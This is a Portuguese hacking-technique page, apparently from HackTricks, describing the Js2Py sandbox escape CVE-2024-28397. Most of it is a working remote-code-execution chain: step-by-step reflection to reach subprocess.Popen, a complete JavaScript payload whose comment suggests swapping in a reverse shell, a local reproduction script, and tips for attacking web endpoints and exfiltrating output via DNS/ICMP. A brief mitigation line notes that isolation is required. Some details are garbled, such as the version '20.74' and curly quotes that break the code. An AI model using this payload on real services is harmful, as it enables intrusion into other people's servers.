Js2Py sandbox escape (CVE-2024-28397)
Tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
Js2Py traduz JavaScript em objetos Python, então mesmo quando js2py.disable_pyimport() é usado, JS não confiável pode percorrer os internos do Python para alcançar classes perigosas como subprocess.Popen. Versões 20.74 permitem abusar dos primitivos de reflexão do Python que o Js2Py expõe a objetos JS para obter RCE a partir de JavaScript “sandboxed”.
Primitiva: pivot de wrappers de objeto JS para objetos Python
- Obtenha um objeto suportado por Python:
Object.getOwnPropertyNames({})returns adict_keysobject in Python space. - Recupere o acesso a atributos: pegue
.__getattribute__desse objeto e chame-o para ler atributos arbitrários (por exemplo,"__class__"). - Suba até
object: a partir de<class 'dict_keys'>leia.__base__para alcançar oobjectbase do Python. - Enumere classes carregadas: chame
object.__subclasses__()para percorrer todas as classes já carregadas no interpretador. - Encontre
subprocess.Popen: pesquise recursivamente subclasses onde__module__ == "subprocess"e__name__ == "Popen". - Execute um comando: instancie Popen com argumentos controlados pelo atacante e invoque
.communicate()para capturar a saída.
Payload de exemplo abusando do Js2Py para alcançar subprocess.Popen
```javascript // Replace cmd with desired payload (reverse shell / ping / etc.) let cmd = "id"; let hacked, bymarve, n11; let getattr, obj;hacked = Object.getOwnPropertyNames({}); // -> dict_keys([]) bymarve = hacked.getattribute; n11 = bymarve(“getattribute”); // attribute access primitive obj = n11(“class”).base; // pivot to <class ‘object’> getattr = obj.getattribute;
function findpopen(o) { let result; for (let i in o.subclasses()) { let item = o.subclasses()[i]; if (item.module == “subprocess” && item.name == “Popen”) { return item; } if (item.name != “type” && (result = findpopen(item))) { return result; } } }
// Popen(cmd, stdin/out/err pipes…) then .communicate() for output n11 = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate(); console.log(n11); n11; // returned to caller if framework sends eval_js result back
</details>
Por que isso funciona: Js2Py expõe envelopamentos de objetos Python para JS sem remover `__getattribute__`, `__class__`, `__base__` ou `__subclasses__`. `disable_pyimport()` bloqueia apenas `pyimport` explícito, mas a cadeia acima nunca importa nada novo; ela reutiliza módulos e classes já carregados na memória.
## Reproduzindo a cadeia localmente
```bash
# Js2Py 0.74 breaks on Python 3.12/3.13; pin 3.11 for testing
uv run --with js2py==0.74 --python 3.11 python - <<'PY'
import js2py
print(js2py.eval_js("Object.getOwnPropertyNames({})")) # dict_keys([])
print(js2py.eval_js("Object.getOwnPropertyNames({}).__getattribute__")) # method-wrapper
print(js2py.eval_js("Object.getOwnPropertyNames({}).__getattribute__(\"__class__\")"))
print(js2py.eval_js("Object.getOwnPropertyNames({}).__getattribute__(\"__class__\").__base__"))
print(js2py.eval_js("Object.getOwnPropertyNames({}).__getattribute__(\"__class__\").__base__.__subclasses__()"))
PY
Operando contra web sandboxes
- Qualquer endpoint que alimente JS controlado pelo atacante em
js2py.eval_js(por exemplo, uma API Flask/run_code) é imediatamente RCE se o usuário do processo tiver acesso ao shell. - Retornar
jsonify({'result': result})falhará quando.communicate()retornar bytes; decodifique ou direcione a saída para DNS/ICMP para evitar bloqueadores de serialização. disable_pyimport()não mitiga esta cadeia; isolamento rígido (processo/container separado) ou remover a execução de código não confiável pelo Js2Py é necessário.
References
- HTB: CodeTwo write-up (Js2Py CVE-2024-28397 escape)
- Marven11 CVE-2024-28397 Js2Py sandbox escape PoC
Tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.


